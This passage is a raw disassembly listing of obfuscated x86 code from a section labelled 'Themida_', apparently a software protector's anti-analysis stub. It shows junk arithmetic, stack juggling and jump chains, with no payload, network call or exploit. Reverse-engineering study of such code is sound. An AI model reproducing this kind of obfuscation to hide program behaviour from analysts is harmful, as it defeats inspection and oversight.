		xchg	eax, ebx
		add	eax, 5F9D6971h
		add	esi, eax
		pop	eax
		sub	esi, ebp
		push	5B2Bh
		mov	[esp+8+var_8], eax
		mov	eax, 58525F2Dh
		sub	esi, eax
		jmp	loc_55D3E3
; END OF FUNCTION CHUNK	FOR sub_5589C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557920


loc_55EEDC:				; CODE XREF: sub_557920+E0Aj
		neg	ebx
		jmp	loc_55ABB9
; END OF FUNCTION CHUNK	FOR sub_557920
; ---------------------------------------------------------------------------


loc_55EEE3:				; CODE XREF: Themida_:0055974Fj
		push	219Ch
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_558E3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EF01:				; CODE XREF: sub_559C84-1DCAj
		add	ecx, 211806C7h
		shr	ecx, 7
		sub	ecx, 562EA333h
		mov	eax, ecx
		pop	ecx
		mov	edi, eax
		pop	eax
		sub	ebx, 20FA0BCDh
		sub	ebx, edi
		add	ebx, 20FA0BCDh
		pop	edi
		and	eax, ebx
		push	[esp-16h+arg_10+2]
		push	[esp-12h+arg_C+2]
		jmp	loc_55AC29
; ---------------------------------------------------------------------------


loc_55EF32:				; CODE XREF: sub_559C84-31A2j
		sub	ecx, 3A6060CAh
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp+5Eh+var_60+2]
		jmp	loc_55FAD8
; ---------------------------------------------------------------------------


loc_55EF44:				; CODE XREF: sub_559C84+32CCj
		pop	ecx
		mov	[edi+eax*4+1], bl
		push	[esp+58h+var_58]
		pop	ebx
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_55B5C3
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55EF5A:				; CODE XREF: Themida_:00556514j
		add	esp, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		sub	esp, 4
		jmp	loc_556E60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EF7F:				; CODE XREF: sub_559C84-6526j
		push	4
		jmp	loc_55A556
; ---------------------------------------------------------------------------


loc_55EF89:				; CODE XREF: sub_559C84+1E02j
		pop	esp
		xor	[esp-1Ah+arg_14+2], eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55EF93:				; CODE XREF: sub_559C84+1AE3j
		mov	esp, [esp+3Ch+var_3E+2]
		mov	cx, word ptr [esp+3Ch+var_3E+2]
		push	edx
		mov	edx, esp
		jmp	loc_55B3D6
; ---------------------------------------------------------------------------


loc_55EFA2:				; CODE XREF: sub_559C84+31D4j
		add	edx, 1
		xor	edx, 1AD80D17h
		push	ebx
		mov	ebx, 6F9F16FFh
		or	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 6133575Dh
		xor	edx, ecx
		jmp	loc_554E1B
; ---------------------------------------------------------------------------


loc_55EFC4:				; CODE XREF: sub_559C84-43BCj
		push	esp
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_553A60
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E1F9


loc_55EFD0:				; CODE XREF: sub_55E1F9-4B9Dj
		shl	ebp, 4
		add	ebp, 0E5026712h
		sub	ecx, 1F501FF0h
		sub	ecx, ebp
		jmp	loc_55BFB9
; END OF FUNCTION CHUNK	FOR sub_55E1F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55EFE6:				; CODE XREF: sub_559C84-1A18j
		sub	dh, al
		pop	eax
		sub	dh, 20h
		jmp	loc_557F8B
; ---------------------------------------------------------------------------


loc_55EFF1:				; CODE XREF: sub_559C84+416Dj
		pop	edx
		or	edi, 6B927D83h
		xor	edi, 6BC66F7Bh
		shl	edi, 4
		add	edi, 0E2611BFEh
		xor	edx, edi
		jmp	loc_55F3B9
; ---------------------------------------------------------------------------


loc_55F00E:				; CODE XREF: sub_559C84+1766j
		add	edx, 1EBF0DECh
		add	edx, eax
		sub	esp, 4
		mov	[esp+56h+var_58+2], ecx
		push	8EDh
		mov	[esp+5Ah+var_5C+2], eax
		push	78127168h
		pop	eax
		add	eax, 71DC31BEh
		xor	eax, 986587BEh
		mov	ecx, eax
		pop	eax
		add	ecx, 0AD33E954h
		sub	edx, ecx
		jmp	loc_55574F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F047:				; CODE XREF: Themida_:00558FDBj
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		jmp	loc_5570FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F058:				; CODE XREF: sub_559C84-61DBj
		or	eax, eax
		jz	loc_555DBB
		push	13Dh
		mov	[esp+42h+var_42], eax
		jmp	loc_55445E
; ---------------------------------------------------------------------------


loc_55F06D:				; CODE XREF: sub_559C84+1DACj
		not	[esp-14h+arg_10]
		jmp	loc_556C58
; ---------------------------------------------------------------------------


loc_55F075:				; CODE XREF: sub_559C84+5466j
		mov	ebx, 2
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55C40A
; ---------------------------------------------------------------------------


loc_55F082:				; CODE XREF: sub_559C84-5373j
		mov	[esp+48h+var_4A+2], eax
		push	8561E0Ch
		pop	eax
		jmp	loc_55C4D3
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F090:				; DATA XREF: Themida_:005534B4o
		lodsd
		jmp	loc_553B67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F096:				; CODE XREF: sub_559C84+1267j
		pop	eax
		push	edx
		mov	edx, ebx
		mov	edi, edx
		pop	edx
		pop	ebx
		add	ecx, edi
		push	[esp+4+var_4]
		pop	edi
		add	esp, 4
		jmp	loc_5582F6
; ---------------------------------------------------------------------------


loc_55F0AC:				; CODE XREF: sub_559C84-3E3Cj
		mov	[esp+0], ebp
		push	edx
		jmp	loc_55CF65
; ---------------------------------------------------------------------------


loc_55F0B5:				; CODE XREF: sub_559C84-3F93j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55CF1F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_558177
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F0DE:				; CODE XREF: sub_559C84+2B00j
		add	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		push	ebx
		jmp	loc_55F075
; ---------------------------------------------------------------------------


loc_55F0EF:				; CODE XREF: sub_559C84+4400j
		add	eax, 60B74DF5h
		add	eax, edx
		jmp	loc_55D5B2
; ---------------------------------------------------------------------------


loc_55F0FB:				; CODE XREF: sub_559C84+DEj
		push	esp
		pop	edi
		jmp	loc_55A821
; ---------------------------------------------------------------------------


loc_55F102:				; CODE XREF: sub_559C84+FA0j
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55F114:				; CODE XREF: sub_559C84+5950j
		push	eax
		jmp	loc_554132
; ---------------------------------------------------------------------------


loc_55F11A:				; CODE XREF: sub_559C84-55EDj
		pop	ecx
		push	esi
		mov	esi, 154203C9h
		shl	esi, 2
		push	esi
		not	[esp+40h+var_42+2]
		pop	esi
		sub	esi, 59777177h
		jmp	loc_5567EE
; ---------------------------------------------------------------------------


loc_55F134:				; CODE XREF: sub_559C84-2B3Cj
		or	edx, 3DCC783Fh
		inc	edx
		push	esi
		mov	esi, 0A34888FBh
		jmp	loc_55AC01
; ---------------------------------------------------------------------------


loc_55F146:				; CODE XREF: sub_559C84+2E73j
		add	edi, 0F9DA6424h
		mov	edx, edi
		pop	edi
		sub	eax, edx
		jmp	loc_55AA22
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5597C1


loc_55F156:				; CODE XREF: sub_5597C1-5885j
		xor	eax, ecx
		jmp	loc_55A16E
; END OF FUNCTION CHUNK	FOR sub_5597C1
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55F8F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F165:				; CODE XREF: sub_559C84-29ABj
		dec	ebp
		jmp	loc_55CEB8
; ---------------------------------------------------------------------------


loc_55F16B:				; CODE XREF: sub_559C84-4B52j
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	267Ah
		mov	[esp-0Eh+arg_8+2], eax
		push	245Dh
		mov	[esp-0Ah+arg_4+2], ecx
		jmp	loc_55F440
; ---------------------------------------------------------------------------


loc_55F188:				; CODE XREF: sub_559C84-618Bj
		mov	edi, eax
		pop	eax
		jmp	loc_5564BF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F389


loc_55F190:				; CODE XREF: sub_55F389+7j
		mov	eax, [esp+0]
		jmp	loc_55BF61
; END OF FUNCTION CHUNK	FOR sub_55F389
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F198:				; CODE XREF: sub_559C84+1597j
		xor	ebp, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], ebp
		xor	ebp, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		imul	cx
		push	small 4A6Ah
		jmp	loc_55A3ED
; ---------------------------------------------------------------------------


loc_55F1B0:				; CODE XREF: sub_559C84-4EC2j
		add	edi, ebp
		push	ecx
		mov	ecx, 17ED4256h
		sub	edi, ecx
		jmp	loc_557EBF
; ---------------------------------------------------------------------------


loc_55F1BF:				; CODE XREF: sub_559C84+1B4Ej
		add	[esp+4], dx
		push	ax
		jmp	loc_559F17
; ---------------------------------------------------------------------------


loc_55F1CB:				; CODE XREF: sub_559C84+1A4Bj
		pop	ebx
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F1D1:				; CODE XREF: Themida_:0055ED28j
		pop	edi
		add	esi, 1B694E17h
		sub	esi, ebx
		push	edx
		mov	edx, 1B694E17h
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55A9CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F1F0:				; CODE XREF: sub_559C84-3B88j
		push	[esp+40h+var_3E+2]
		pop	eax
		pop	[esp+40h+var_42+2]
		jmp	loc_55DE9E
; ---------------------------------------------------------------------------


loc_55F1FD:				; CODE XREF: sub_559C84-5A17j
		sub	ebx, esi
		pop	esi
		mov	ecx, ebx
		jmp	loc_55E054
; ---------------------------------------------------------------------------


loc_55F207:				; CODE XREF: sub_559C84+37E2j
		mov	edx, [esp+4Ch+var_4E+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_553895
; ---------------------------------------------------------------------------


loc_55F218:				; CODE XREF: sub_559C84+3D95j
		dec	esi
		xor	esi, 285E2C9Bh
		sub	esi, 302A2496h
		add	edi, esi
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5587F0
; ---------------------------------------------------------------------------


loc_55F236:				; CODE XREF: sub_559C84+2667j
		or	ebx, 6DE042BFh
		neg	ebx
		jmp	loc_553A4D
; ---------------------------------------------------------------------------


loc_55F243:				; CODE XREF: sub_559C84-3625j
		add	esi, 61296E42h
		add	esi, 7D590336h
		neg	esi
		add	esi, 6EDFF496h
		mov	eax, esi
		pop	esi
		push	ebp
		mov	ebp, 14220961h
		or	ebp, 6D2D3D87h
		jmp	loc_55ADAF
; ---------------------------------------------------------------------------


loc_55F26B:				; CODE XREF: sub_559C84-1540j
		pop	esp
		mov	[esp+4Ah+var_4A], ebx
		push	eax
		jmp	loc_55E36C
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55F275	proc near		; CODE XREF: sub_559C84-3D81j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0055F3F3 SIZE 0000000B BYTES

		push	ebp
		push	456Ch
		mov	[esp+8+var_8], esp
		push	ebx
		mov	ebx, 451D2259h
		add	ebx, 7E3B1AF6h
		jmp	loc_55F3F3
sub_55F275	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F28F:				; CODE XREF: sub_559C84-459Aj
		sub	[esp+50h+var_4A+2], 0C003B8Bh
		add	[esp+50h+var_4A+2], ecx
		add	[esp+50h+var_4A+2], 0C003B8Bh
		jmp	loc_55BBF5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5577DF


loc_55F2A8:				; CODE XREF: sub_5577DF+12j
		mov	esi, edi
		jmp	loc_55B5CF
; END OF FUNCTION CHUNK	FOR sub_5577DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F2AF:				; CODE XREF: sub_559C84+380Aj
		push	[esp+44h+var_42+2]
		mov	edi, [esp+48h+var_4A+2]
		jmp	loc_559041
; ---------------------------------------------------------------------------


loc_55F2BB:				; CODE XREF: sub_559C84+4E96j
		pop	si
		and	si, bx
		pop	ebx
		push	ecx
		mov	cx, 2066h
		or	cx, 345Eh
		add	cx, 0FFFFh
		add	cx, 808h
		shl	cx, 5
		add	cx, 0DCAh
		sub	si, cx
		jmp	loc_55B0F1
; ---------------------------------------------------------------------------


loc_55F2E5:				; CODE XREF: sub_559C84+3BFBj
		add	esp, 4
		jmp	loc_55569A
; ---------------------------------------------------------------------------


loc_55F2ED:				; CODE XREF: sub_559C84-3404j
		push	[esp+20h+var_20]
		jmp	loc_55A2B5
; ---------------------------------------------------------------------------


loc_55F2F5:				; CODE XREF: sub_559C84+4EFAj
		shr	edi, 5
		add	edi, 0FF35B7A2h
		jmp	loc_559AB4
; ---------------------------------------------------------------------------


loc_55F303:				; CODE XREF: sub_559C84-2120j
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp+62h+var_64+2], ebx
		mov	ebx, 56F7656h
		jmp	loc_55E625
; ---------------------------------------------------------------------------


loc_55F314:				; CODE XREF: sub_559C84+1F4Cj
		sub	ebp, 17FBBDDBh
		jmp	loc_55701C
; ---------------------------------------------------------------------------


loc_55F31F:				; CODE XREF: sub_559C84-1C6Dj
		push	esp
		pop	esi
		jmp	loc_55BF81
; ---------------------------------------------------------------------------


loc_55F326:				; CODE XREF: sub_559C84+2CB3j
		mov	esp, [esp+0Eh+var_10+2]
		push	3A0h
		mov	[esp+12h+var_14+2], ebp
		jmp	loc_559819
; ---------------------------------------------------------------------------


loc_55F336:				; CODE XREF: sub_559C84-3A47j
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 0AE94DC3h
		or	edx, 13C957ACh
		sub	edx, 1BE95FEBh
		sub	edi, 30441D05h
		jmp	loc_55C967
; ---------------------------------------------------------------------------


loc_55F356:				; CODE XREF: sub_559C84-1CF7j
		pop	edx
		xor	al, 10h
		jmp	loc_553A2F
; ---------------------------------------------------------------------------


loc_55F35E:				; CODE XREF: sub_559C84+3CE2j
		or	edx, ecx
		jmp	loc_5542F5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556F29


loc_55F365:				; CODE XREF: sub_556F29+134j
		mov	ebx, 623A5A49h
		dec	ebx
		jmp	loc_55485C
; END OF FUNCTION CHUNK	FOR sub_556F29
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F370:				; CODE XREF: sub_559C84+3112j
		div	cx
		push	small 5142h
		mov	word ptr [esp+2Eh+var_30+2], dx
		push	ax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55F383:				; CODE XREF: sub_559C84-151Cj
		push	edi
		jmp	loc_555019
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55F389	proc near		; CODE XREF: sub_559C84+36E1j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055F190 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	esp
		jmp	loc_55F190
sub_55F389	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F395:				; CODE XREF: sub_559C84+5C41j
		mov	[esp+52h+var_52], ecx
		xchg	edx, [esp+52h+var_52]
		sub	esp, 4
		mov	[esp+56h+var_58+2], edx
		not	[esp+56h+var_58+2]
		pop	edx
		xchg	edx, [esp+52h+var_52]
		pop	ecx
		xchg	edi, ecx
		jmp	loc_55B987
; ---------------------------------------------------------------------------


loc_55F3B3:				; CODE XREF: sub_559C84+2B91j
		push	edi
		jmp	loc_55EB76
; ---------------------------------------------------------------------------


loc_55F3B9:				; CODE XREF: sub_559C84+5385j
		pop	edi
		jmp	loc_55E141
; ---------------------------------------------------------------------------


loc_55F3BF:				; CODE XREF: sub_559C84-4C8Aj
		and	edi, 66C65195h
		inc	edi
		add	edi, 3470BE03h
		jmp	loc_55AE1C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F3DF:				; CODE XREF: sub_559C84-60FDj
		mov	ecx, edi
		pop	edi
		add	[esp+2Ah+var_28+2], 36DE09ADh
		add	[esp+2Ah+var_28+2], ecx
		jmp	loc_55C555
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F275


loc_55F3F3:				; CODE XREF: sub_55F275+15j
		add	ebx, 3CA7C2B5h
		jmp	loc_55C760
; END OF FUNCTION CHUNK	FOR sub_55F275
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F3FE:				; CODE XREF: sub_559C84-5BAFj
		and	ecx, edi
		mov	edi, [esp+0]
		sub	esp, 4
		jmp	loc_55858E
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557A15


loc_55F40E:				; CODE XREF: sub_557A15+9j
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_557A15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F41A:				; CODE XREF: sub_559C84+139Dj
		push	ecx
		push	eax
		mov	eax, 36967761h
		mov	ecx, 36967765h
		xor	ecx, eax
		jmp	loc_55E4FD
; ---------------------------------------------------------------------------


loc_55F42D:				; CODE XREF: sub_559C84+2966j
		add	esp, 4
		jmp	loc_55AD76
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F435:				; CODE XREF: Themida_:00557B80j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55443B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F440:				; CODE XREF: sub_559C84+54FFj
		push	[esp-0Ah+arg_8+2]
		pop	ecx
		pop	[esp-0Ah+arg_4+2]
		jmp	loc_55F6C9
; ---------------------------------------------------------------------------


loc_55F44D:				; CODE XREF: sub_559C84-63F4j
		add	ebp, 95E2441h
		sub	edx, ebp
		pop	ebp
		pop	edi
		sub	edx, 6A657C1Eh
		jmp	loc_557D85
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F462:				; CODE XREF: Themida_:00554E96j
		shl	ecx, 6
		shr	ecx, 3
		jmp	loc_5585B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F46D:				; CODE XREF: sub_559C84-4BD7j
		shl	esi, 8
		or	esi, 73580B35h
		xor	esi, 0E3F18A48h
		mov	ebx, esi
		pop	esi
		mov	ecx, 61F56FDBh
		xor	ecx, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		shr	ecx, 1
		jmp	loc_555744
; ---------------------------------------------------------------------------


loc_55F496:				; CODE XREF: sub_559C84+1CCj
		add	esp, 4
		jmp	loc_559534
; ---------------------------------------------------------------------------


loc_55F49E:				; CODE XREF: sub_559C84+1748j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55F4A3:				; CODE XREF: sub_559C84-7DCj
		xor	edx, ebp
		pop	ebp
		not	edx
		jmp	loc_553FF9
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F4AD:				; CODE XREF: Themida_:0055867Fj
		push	cx
		mov	cx, 2
		jmp	loc_559DD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F4B8:				; CODE XREF: sub_559C84-547Bj
		xor	esi, 0E700AED2h
		jmp	loc_559E4A
; ---------------------------------------------------------------------------


loc_55F4C3:				; CODE XREF: sub_559C84+554j
		add	edi, 4
		jmp	sub_557B99
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F4CE:				; CODE XREF: Themida_:00556AF0j
		mov	edi, 38307CC5h
		neg	edi
		shl	edi, 3
		jmp	loc_55EB03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F4DD:				; CODE XREF: sub_559C84+4B15j
		add	cl, 1
		push	edx
		mov	dh, 2Ah
		xor	cl, dh
		pop	edx
		push	bx
		mov	bh, 0B2h
		jmp	loc_555F3B
; ---------------------------------------------------------------------------


loc_55F4EF:				; CODE XREF: sub_559C84-9ADj
		xchg	esi, [esp+18h+var_18]
		pop	esp
		jmp	loc_55D119
; ---------------------------------------------------------------------------


loc_55F4F8:				; CODE XREF: sub_559C84-B18j
		add	dl, 3
		mov	ch, dl
		mov	edx, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_55D627
; ---------------------------------------------------------------------------


loc_55F50B:				; CODE XREF: sub_559C84-325Dj
		sub	ecx, 145E314h
		mov	edi, ecx
		jmp	loc_55AD48
; ---------------------------------------------------------------------------


loc_55F518:				; CODE XREF: sub_559C84-529Dj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4Ah+var_4A]
		pop	esp
		push	0BEh
		mov	[esp+4Ah+var_4A], edx
		push	edi
		jmp	loc_554E49
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F9FD


loc_55F535:				; CODE XREF: sub_55F9FD-81C8j
		push	6DA4h
		mov	[esp-8+arg_4], ecx
		mov	ecx, 28h
		add	ecx, 7E385EB9h
		add	ecx, edi
		push	edx
		mov	edx, 7E385EB9h
		sub	ecx, edx
		pop	edx
		push	edx
		mov	edx, 0
		add	edx, ecx
		mov	[edx], al
		mov	edx, [esp-4+arg_0]
		push	esi
		push	esp
		pop	esi
		push	edi
		jmp	loc_55636E
; END OF FUNCTION CHUNK	FOR sub_55F9FD

; =============== S U B	R O U T	I N E =======================================



sub_55F569	proc near		; CODE XREF: sub_559C84-2633j

; FUNCTION CHUNK AT 005580D4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005582D5 SIZE 00000007 BYTES

		push	ebx
		mov	ebx, 0
		push	esi
		mov	esi, 60DC5818h
		add	ebx, 13CE5B8Bh
		jmp	loc_5582D5
sub_55F569	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F580:				; CODE XREF: sub_559C84+51BEj
		xchg	esi, [esp-6+arg_0+2]
		pop	esp
		mov	[esp-0Ah+arg_4+2], ecx
		mov	ecx, esp
		jmp	loc_558F66
; ---------------------------------------------------------------------------


loc_55F58E:				; CODE XREF: sub_559C84-1442j
		shr	edx, 4
		jmp	loc_5548EB
; ---------------------------------------------------------------------------


loc_55F596:				; CODE XREF: sub_559C84+2B26j
		not	edi
		or	edi, 22CC707Ch
		xor	edi, 5A0713E9h
		jmp	loc_557E6A
; ---------------------------------------------------------------------------


loc_55F5A9:				; CODE XREF: sub_559C84+2A55j
		shl	ch, 7
		xor	ch, 0E5h
		sub	ch, 0E6h
		mov	bh, ch
		pop	ecx
		and	al, bh
		push	[esp+14h+var_14]
		pop	ebx
		add	esp, 4
		push	1B1Dh
		mov	[esp+14h+var_14], ebx
		push	634h
		jmp	loc_55C356
; ---------------------------------------------------------------------------


loc_55F5D3:				; CODE XREF: sub_559C84+AF1j
		pop	esi
		jmp	loc_55F114
; ---------------------------------------------------------------------------


loc_55F5D9:				; CODE XREF: sub_559C84+4499j
		pop	[esp+20h+var_20]
		pop	esp
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		push	751h
		jmp	loc_55A69C
; ---------------------------------------------------------------------------


loc_55F5F0:				; CODE XREF: sub_559C84-14F8j
		movzx	eax, ax
		push	6F57h
		mov	[esp+52h+var_52], ebp
		push	1FE9h
		mov	[esp+56h+var_58+2], esp
		jmp	loc_557843
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55F608	proc near		; CODE XREF: sub_559C84+5B10j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00557465 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557479 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0055E180 SIZE 00000018 BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], ecx
		mov	ecx, 7FCB7620h
		xor	edi, ecx
		jmp	loc_55E180
sub_55F608	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F61D:				; CODE XREF: sub_559C84+5F68j
		xor	ebp, 5BFE52C7h
		push	eax
		mov	eax, 7DFB10BEh
		sub	ebp, eax
		pop	eax
		shr	ebp, 6
		xor	ebp, 69661128h
		push	eax
		mov	eax, 6B7F4D51h
		neg	eax
		sub	eax, 30A022D8h
		sub	eax, 0ABA6F4Ch
		sub	eax, 0FFFFFFFFh
		jmp	loc_55B912
; ---------------------------------------------------------------------------


loc_55F64F:				; CODE XREF: sub_559C84+475j
		xor	edi, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], edi
		not	edi
		xchg	edi, [esp+44h+var_46+2]
		pop	ebp
		jmp	loc_553BE6
; ---------------------------------------------------------------------------


loc_55F660:				; CODE XREF: sub_559C84+23AFj
		shl	edi, 7
		jmp	loc_55CCEA
; ---------------------------------------------------------------------------


loc_55F668:				; CODE XREF: sub_559C84+10EDj
		sub	esi, 6AA640BAh
		jmp	loc_55C5E6
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55F673	proc near		; CODE XREF: sub_559C84+51A2j
		push	ebp
		mov	ebp, 0C9D19D60h
		jmp	loc_55D9CE
sub_55F673	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F67E:				; CODE XREF: sub_559C84+454j
		xor	edi, [esp-1Eh+arg_18+2]
		pop	esp
		movsx	ecx, al
		jmp	loc_55EA9B
; ---------------------------------------------------------------------------


loc_55F68A:				; CODE XREF: sub_559C84-197Ej
		push	[esp+22h+var_24+2]
		pop	eax
		add	esp, 4
		mov	ebx, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55F69F:				; CODE XREF: sub_559C84+2974j
		xchg	ebp, [esp+4Ch+var_4E+2]
		pop	esp
		push	edx
		push	esi
		mov	esi, 69B06EEFh
		jmp	loc_55B438
; ---------------------------------------------------------------------------


loc_55F6AF:				; CODE XREF: sub_559C84-63C4j
		xor	edi, 3973F1F9h
		jmp	loc_558DF5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 68502404h, 237Ah, 0FFA038E9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F6C9:				; CODE XREF: sub_559C84+57C4j
		not	ecx
		xor	[esp-0Eh+arg_8+2], ecx
		xor	ecx, [esp-0Eh+arg_8+2]
		xor	[esp-0Eh+arg_8+2], ecx
		push	[esp-0Eh+arg_8+2]
		jmp	loc_55B10C
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55F6DC:				; DATA XREF: Themida_:00553280o
		push	15DBh
		mov	[esp], edx
		push	eax
		push	edi
		push	417A2610h
		pop	edi
		shl	edi, 2
		sub	edi, 5E89808h
		mov	eax, edi
		pop	edi
		push	eax
		add	dword ptr [esp], 0D903594h
		jmp	loc_55D12C
; ---------------------------------------------------------------------------


loc_55F705:				; CODE XREF: Themida_:005549A2j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_558D28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55F710:				; CODE XREF: sub_559C84+1077j
		pop	esp
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp+3Ch+var_3E+2], edi
		push	ebx
		add	[esp+40h+var_42+2], 28E67473h
